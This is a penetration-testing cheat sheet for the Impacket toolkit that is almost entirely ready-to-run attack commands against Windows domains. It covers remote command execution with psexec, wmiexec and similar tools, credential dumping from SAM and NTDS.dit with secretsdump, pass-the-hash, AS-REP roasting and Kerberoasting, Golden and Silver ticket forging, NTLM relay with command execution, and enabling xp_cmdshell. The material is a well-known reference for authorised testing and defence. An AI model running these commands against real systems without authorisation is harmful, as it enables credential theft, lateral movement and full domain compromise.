Skip to content

Impacket Toolkit Cheat Sheet

Overview

Impacket is a collection of Python classes for working with network protocols. It provides low-level programmatic access to packets and implements several protocols including SMB, MSRPC, and Kerberos. Impacket includes numerous ready-to-use tools for penetration testing, particularly focused on Windows environments.

⚠️ Warning: Impacket is a security testing tool that should only be used in environments where you have explicit permission to do so.

Installation

From PyPI

bash
pip install impacket

From GitHub

bash
git clone https://github.com/fortra/impacket.git
cd impacket
pip install -r requirements.txt
python setup.py install

On Kali Linux

bash
sudo apt update
sudo apt install -y python3-impacket

Using Virtual Environment

bash
# Create and activate virtual environment
python -m venv impacket-env
source impacket-env/bin/activate  # Linux/macOS
impacket-env\Scripts\activate.bat  # Windows

# Install Impacket
pip install impacket

Command Execution Tools

psexec.py

Executes commands on remote Windows systems using the SMB protocol, similar to SysInternals' PsExec.

Basic Usage

bash
psexec.py [domain/]username[:password]@target [options] [command]

Common Options

OptionDescription
-hashes LMHASH:NTHASHUse NTLM hashes instead of password (Pass-the-Hash)
-kUse Kerberos authentication
-no-passDon't ask for password (useful for Kerberos)
-port [port]Connect to SMB Server port (default: 445)
-debugTurn DEBUG output ON

Examples

bash
# Execute command with explicit credentials
psexec.py administrator:Password123@192.168.1.100 cmd.exe

# Execute command with domain credentials
psexec.py domain/administrator:Password123@192.168.1.100 cmd.exe

# Execute specific command
psexec.py administrator:Password123@192.168.1.100 "ipconfig /all"

# Use hash instead of password (Pass-the-Hash)
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100 cmd.exe

smbexec.py

Similar to psexec.py but uses different techniques to execute commands, making it potentially stealthier.

Basic Usage

bash
smbexec.py [domain/]username[:password]@target [options]

Common Options

OptionDescription
-hashes LMHASH:NTHASHUse NTLM hashes instead of password (Pass-the-Hash)
-share SHAREShare where the output will be grabbed from (default: ADMIN$)
-shell-type {cmd,powershell}Shell type to use (default: cmd)
-codec CODECSets encoding used (codec) from the target's output (default: UTF-8)
-service-name NAMEService name to use (default: random)

Examples

bash
# Execute with explicit credentials
smbexec.py administrator:Password123@192.168.1.100

# Execute with domain credentials
smbexec.py domain/administrator:Password123@192.168.1.100

# Use hash instead of password (Pass-the-Hash)
smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100

# Use PowerShell instead of cmd
smbexec.py -shell-type powershell administrator:Password123@192.168.1.100

wmiexec.py

Executes commands on remote Windows systems using WMI.

Basic Usage

bash
wmiexec.py [domain/]username[:password]@target [options] [command]

Common Options

OptionDescription
-hashes LMHASH:NTHASHUse NTLM hashes instead of password (Pass-the-Hash)
-share SHAREShare where the output will be grabbed from (default: ADMIN$)
-silentcommandExecute command and return immediately without output
-codec CODECSets encoding used (codec) from the target's output (default: UTF-8)
-shell-type {cmd,powershell}Shell type to use (default: cmd)

Examples

bash
# Execute with explicit credentials
wmiexec.py administrator:Password123@192.168.1.100

# Execute with domain credentials
wmiexec.py domain/administrator:Password123@192.168.1.100

# Execute specific command
wmiexec.py administrator:Password123@192.168.1.100 "ipconfig /all"

# Use hash instead of password (Pass-the-Hash)
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100

dcomexec.py

Executes commands on remote Windows systems using DCOM objects.

Basic Usage

bash
dcomexec.py [domain/]username[:password]@target [options] [command]

Common Options

OptionDescription
-hashes LMHASH:NTHASHUse NTLM hashes instead of password (Pass-the-Hash)
-object {ShellWindows,ShellBrowserWindow,MMC20}DCOM object to use (default: MMC20.Application)
-silentcommandExecute command and return immediately without output
-codec CODECSets encoding used (codec) from the target's output (default: UTF-8)
-shell-type {cmd,powershell}Shell type to use (default: cmd)

Examples

bash
# Execute with explicit credentials
dcomexec.py administrator:Password123@192.168.1.100

# Execute with domain credentials
dcomexec.py domain/administrator:Password123@192.168.1.100

# Execute with specific DCOM object
dcomexec.py -object ShellWindows administrator:Password123@192.168.1.100

# Use hash instead of password (Pass-the-Hash)
dcomexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100

atexec.py

Executes commands on remote Windows systems using the Task Scheduler service.

Basic Usage

bash
atexec.py [domain/]username[:password]@target [options] command

Common Options

OptionDescription
-hashes LMHASH:NTHASHUse NTLM hashes instead of password (Pass-the-Hash)
-silentcommandExecute command and return immediately without output
-codec CODECSets encoding used (codec) from the target's output (default: UTF-8)

Examples

bash
# Execute command with explicit credentials
atexec.py administrator:Password123@192.168.1.100 "whoami > C:\\temp\\whoami.txt"

# Execute command with domain credentials
atexec.py domain/administrator:Password123@192.168.1.100 "whoami > C:\\temp\\whoami.txt"

# Use hash instead of password (Pass-the-Hash)
atexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100 "whoami > C:\\temp\\whoami.txt"

Credential Dumping Tools

secretsdump.py

Extracts credentials from a remote Windows system, including SAM, LSA Secrets, and NTDS.dit.

Basic Usage

bash
secretsdump.py [domain/]username[:password]@target [options]

Common Options

OptionDescription
-hashes LMHASH:NTHASHUse NTLM hashes instead of password (Pass-the-Hash)
-just-dcExtract only NTDS.DIT data (domain controller only)
-just-dc-ntlmExtract only NTDS.DIT NTLM hashes (domain controller only)
-just-dc-user USERExtract only NTDS.DIT data for specific user
-pwd-last-setShows pwdLastSet attribute for each NTDS.DIT account
-user-statusShows whether the user is enabled or disabled
-historyDump password history
-outputfile FILEWrite output to file

Examples

bash
# Dump credentials with explicit credentials
secretsdump.py administrator:Password123@192.168.1.100

# Dump credentials with domain credentials
secretsdump.py domain/administrator:Password123@192.168.1.100

# Dump credentials using hash (Pass-the-Hash)
secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100

# Dump credentials from local files
secretsdump.py -sam sam.save -security security.save -system system.save LOCAL

# Dump credentials from NTDS.dit
secretsdump.py -ntds ntds.dit -system system.save LOCAL

# Extract only domain controller NTLM hashes
secretsdump.py -just-dc-ntlm domain/administrator:Password123@192.168.1.100

Kerberos Attack Tools

GetNPUsers.py

Retrieves password hashes for users with "Do not require Kerberos preauthentication" set (ASREPRoast attack).

Basic Usage

bash
GetNPUsers.py [domain/]username[:password] -dc-ip <DC_IP> [options]

Common Options

OptionDescription
-requestRequests TGT for users and output them in JtR/hashcat format
-no-passDon't ask for password (useful for Kerberos)
-kUse Kerberos authentication
-dc-ip IPIP Address of the domain controller
-usersfile FILEFile with user per line to test
-format {hashcat,john}Format to save the AS_REP responses (default: hashcat)
-outputfile FILEOutput filename to write ciphers in JtR/hashcat format

Examples

bash
# Get users without Kerberos preauthentication with explicit credentials
GetNPUsers.py domain/username:password -dc-ip 192.168.1.100 -request

# Get users without Kerberos preauthentication for specific user
GetNPUsers.py domain/username:password -dc-ip 192.168.1.100 -request -target-user user1

# Get users without Kerberos preauthentication for all users in domain
GetNPUsers.py domain/ -dc-ip 192.168.1.100 -usersfile users.txt -format hashcat

# Use no credentials (anonymous)
GetNPUsers.py domain/ -dc-ip 192.168.1.100 -no-pass

GetUserSPNs.py

Retrieves Service Principal Names (SPNs) for accounts in the domain (Kerberoasting attack).

Basic Usage

bash
GetUserSPNs.py [domain/]username[:password] -dc-ip <DC_IP> [options]

Common Options

OptionDescription
-requestRequests TGS for users and output them in JtR/hashcat format
-hashes LMHASH:NTHASHUse NTLM hashes instead of password (Pass-the-Hash)
-dc-ip IPIP Address of the domain controller
-target-user USERTarget specific user to request TGS for
-outputfile FILEOutput filename to write ciphers in JtR/hashcat format
-format {hashcat,john}Format to save the TGS tickets (default: hashcat)

Examples

bash
# Get SPNs with explicit credentials
GetUserSPNs.py domain/username:password -dc-ip 192.168.1.100 -request

# Get SPNs for specific user
GetUserSPNs.py domain/username:password -dc-ip 192.168.1.100 -request -target-user sqlservice

# Output hashes in specific format
GetUserSPNs.py domain/username:password -dc-ip 192.168.1.100 -request -format hashcat

# Use hash instead of password (Pass-the-Hash)
GetUserSPNs.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 domain/username -dc-ip 192.168.1.100 -request

ticketer.py

Creates Golden and Silver Tickets for Kerberos authentication.

Basic Usage

bash
ticketer.py [options] username

Common Options

OptionDescription
-nthash HASHNT hash for the user or service account
-aesKey KEYAES key for the user or service account
-domain DOMAINDomain name
-domain-sid SIDDomain SID
-spn SPNService Principal Name (for Silver Tickets)
-groups IDSComma-separated list of group IDs to include in the ticket
-duration HOURSTicket duration in hours (default: 10)
-out FILEOutput filename to save the ticket

Examples

bash
# Create Golden Ticket
ticketer.py -nthash 7facdc498ed1680c4fd1448319a8c04f -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -domain contoso.local administrator

# Create Silver Ticket
ticketer.py -nthash 7facdc498ed1680c4fd1448319a8c04f -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -domain contoso.local -spn MSSQLSvc/sqlserver.contoso.local:1433 administrator

# Specify output file
ticketer.py -nthash 7facdc498ed1680c4fd1448319a8c04f -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -domain contoso.local -out ticket.kirbi administrator

Network Protocols Tools

smbclient.py

Provides an SMB client to access shares and files on remote systems.

Basic Usage

bash
smbclient.py [domain/]username[:password]@target [options]

Common Options

OptionDescription
-hashes LMHASH:NTHASHUse NTLM hashes instead of password (Pass-the-Hash)
-port [port]Connect to SMB Server port (default: 445)
-file FILEInput file with commands to execute in the mini shell
-debugTurn DEBUG output ON

Common Commands (Interactive Shell)

CommandDescription
helpShow available commands
sharesList available shares
use <share>Connect to a specific share
lsList files in current directory
cd <dir>Change directory
get <file>Download file
put <file>Upload file
rm <file>Delete file
mkdir <dir>Create directory
rmdir <dir>Remove directory
exitExit the shell

Examples

bash
# Connect with explicit credentials
smbclient.py administrator:Password123@192.168.1.100

# Connect with domain credentials
smbclient.py domain/administrator:Password123@192.168.1.100

# Use hash instead of password (Pass-the-Hash)
smbclient.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100

mssqlclient.py

Provides a client to interact with Microsoft SQL Server instances.

Basic Usage

bash
mssqlclient.py [domain/]username[:password]@target [options]

Common Options

OptionDescription
-hashes LMHASH:NTHASHUse NTLM hashes instead of password (Pass-the-Hash)
-windows-authUse Windows Authentication (default: False)
-port [port]Destination port to connect to (default: 1433)
-db DATABASEMSSQL database instance (default: None)
-file FILEInput file with commands to execute in the SQL shell
-debugTurn DEBUG output ON

Common Commands (Interactive Shell)

CommandDescription
helpShow available commands
enable_xp_cmdshellEnable the xp_cmdshell stored procedure
disable_xp_cmdshellDisable the xp_cmdshell stored procedure
xp_cmdshell <command>Execute command through xp_cmdshell
sp_start_job <job>Start a SQL Server job
exitExit the shell

Examples

bash
# Connect with explicit credentials
mssqlclient.py sa:Password123@192.168.1.100

# Connect with domain credentials
mssqlclient.py domain/sqluser:Password123@192.168.1.100

# Use hash instead of password (Pass-the-Hash)
mssqlclient.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 sa@192.168.1.100

# Enable Windows authentication
mssqlclient.py domain/sqluser:Password123@192.168.1.100 -windows-auth

Other Useful Tools

ntlmrelayx.py

Performs NTLM Relay attacks.

Basic Usage

bash
ntlmrelayx.py [options]

Common Options

OptionDescription
-t TARGETTarget to relay the credentials to
-tf FILEFile with targets to relay the credentials to
-wStart the HTTP server and do not relay credentials
-e FILEExecute this file when a connection is relayed
-c COMMANDExecute this command when a connection is relayed
-smb2supportEnable SMB2 support
-socksLaunch a SOCKS proxy for the connection
-one-shotRelay only one connection
-debugTurn DEBUG output ON

Examples

bash
# Relay to specific target
ntlmrelayx.py -t smb://192.168.1.100 -smb2support

# Relay to multiple targets
ntlmrelayx.py -tf targets.txt -smb2support

# Execute command on successful relay
ntlmrelayx.py -t smb://192.168.1.100 -smb2support -c "whoami > C:\\temp\\whoami.txt"

# Dump SAM database on successful relay
ntlmrelayx.py -t smb://192.168.1.100 -smb2support -d

# Start SOCKS proxy
ntlmrelayx.py -tf targets.txt -socks

lookupsid.py

Performs SID lookups to enumerate users and groups.

Basic Usage

bash
lookupsid.py [domain/]username[:password]@target [options]

Common Options

OptionDescription
-hashes LMHASH:NTHASHUse NTLM hashes instead of password (Pass-the-Hash)
-domain DOMAINDomain to enumerate (default: target domain)
-debugTurn DEBUG output ON

Examples

bash
# Enumerate SIDs with explicit credentials
lookupsid.py administrator:Password123@192.168.1.100

# Enumerate SIDs with domain credentials
lookupsid.py domain/administrator:Password123@192.168.1.100

# Use hash instead of password (Pass-the-Hash)
lookupsid.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100

reg.py

Provides a remote registry manipulation tool.

Basic Usage

bash
reg.py [domain/]username[:password]@target [options] action [params]

Common Options

OptionDescription
-hashes LMHASH:NTHASHUse NTLM hashes instead of password (Pass-the-Hash)
-debugTurn DEBUG output ON

Actions

ActionDescription
queryQuery a registry key or value
addAdd a registry key or value
deleteDelete a registry key or value
saveSave a registry hive to a file

Examples

bash
# Query registry key with explicit credentials
reg.py administrator:Password123@192.168.1.100 query -keyName HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion

# Add registry key with domain credentials
reg.py domain/administrator:Password123@192.168.1.100 add -keyName HKLM\\SOFTWARE\\Test -v TestValue -vt REG_SZ -vd "Test Data"

# Delete registry key with hash (Pass-the-Hash)
reg.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100 delete -keyName HKLM\\SOFTWARE\\Test

Common Parameters Across Tools

ParameterDescription
-h, --helpShow help message and exit
-debugTurn DEBUG output ON
-hashes LMHASH:NTHASHNTLM hashes, format is LMHASH:NTHASH
-no-passDon't ask for password (useful for Kerberos)
-kUse Kerberos authentication
-aesKey KEYAES key to use for Kerberos authentication
-dc-ip IPIP Address of the domain controller
-target-ip IPIP Address of the target machine
-port [port]Destination port to connect to

Resources